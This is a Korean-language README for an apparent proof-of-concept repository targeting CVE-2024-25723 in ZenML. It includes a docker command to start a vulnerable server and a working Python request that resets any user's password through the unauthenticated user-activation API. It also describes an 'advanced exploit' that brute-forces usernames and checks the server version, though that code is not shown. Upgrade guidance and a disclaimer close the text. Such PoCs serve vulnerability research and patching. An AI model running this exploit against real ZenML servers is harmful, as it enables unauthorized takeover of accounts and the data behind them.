
API 비밀번호 재설정을 통한 ZenML의 무단 계정 탈취를 시연하는 CVE-2024-25723 교육용 개념 증명 익스플로잇으로, 버전 감지 및 무차별 대입 사용자 이름 열거를 포함합니다.
이 저장소는 ZenML의 심각한 보안 취약점인 CVE-2024-25723을 해결하기 위해 작성되었으며, 문제를 설명하고 신속한 완화를 권장하기 위한 교육용 개념 증명(PoC)을 제공합니다. 이 PoC는 권한이 없는 사용자가 취약점을 악용하여 모든 ZenML 계정의 소유권을 가로챌 수 있는 방법을 보여줍니다.
docker run -it -d -p 8080:8080 --name zenml zenmldocker/zenml-server:0.46.0
import requests
base_url = "http://localhost:8080"
user = "default"
new_password = "3gx9AbzP92rfHhZ"
activate_api_url = f"{base_url}/api/v1/users/{user}/activate"
activate_api_headers = {"Content-Type": "application/json"}
activate_api_json={"password": new_password}
activate_api_response = requests.put(activate_api_url, headers=activate_api_headers, json=activate_api_json)
print(activate_api_response.json())
PoC와 고급 익스플로잇의 차이점은 고급 익스플로잇이 가장 많이 사용되는 사용자 이름을 무차별 대입(bruteforce)하며, ZenML 버전을 노출하는 API를 통해 대상 버전이 취약한지 여부도 감지할 수 있다는 점입니다. 고급 익스플로잇을 사용하려면 다음 코드를 파일로 저장하세요:
이 익스플로잇을 실행하는 명령은 다음과 같습니다:
python3 advanced-exploit-CVE-2024-25723.py https://example.com
0.46.7 미만의 모든 ZenML 버전은 취약하며, 다음 패치 버전은 예외입니다: (0.44.4, 0.43.1, 0.42.2).
이 위험을 완화하려면 최신 버전(0.46.7 이상) 또는 패치된 버전(0.44.4, 0.43.1, 0.42.2) 중 하나로 업그레이드하세요.
이 저장소에서 제공되는 개념 증명(PoC)은 교육 및 보안 연구 목적으로만 제공됩니다. 이 정보와 코드는 사이버 보안 전문가와 연구자가 소프트웨어 및 시스템의 취약점을 이해하고 보호하기 위해 사용하기 위한 것입니다. 사전 상호 동의 없이 대상을 공격하기 위해 이 PoC, 관련 정보 또는 코드를 사용하는 것은 불법이며 엄격히 금지됩니다.
이 PoC를 사용함으로써 귀하는 이 PoC가 설명하는 취약점의 잠재적 영향을 이해하고 이를 책임감 있고 윤리적으로 사용하는 데 동의하는 것입니다. 이 PoC의 작성자는 본 자료의 오용 또는 제공된 정보와 코드 사용으로 인해 발생할 수 있는 모든 손해에 대해 책임을 지지 않습니다. 모든 해당 지역, 주, 국가 및 국제 법률을 준수할 책임은 최종 사용자에게 있습니다.
작성자는 이 저장소에 제공된 정보의 정확성과 신뢰성을 보장하기 위해 모든 노력을 기울였습니다. 그러나 정보는 어떠한 종류의 보증 없이 "있는 그대로" 제공됩니다. 작성자는 포함된 정보의 정확성, 내용, 완전성, 적법성 또는 신뢰성에 대해 어떠한 책임도 지지 않습니다.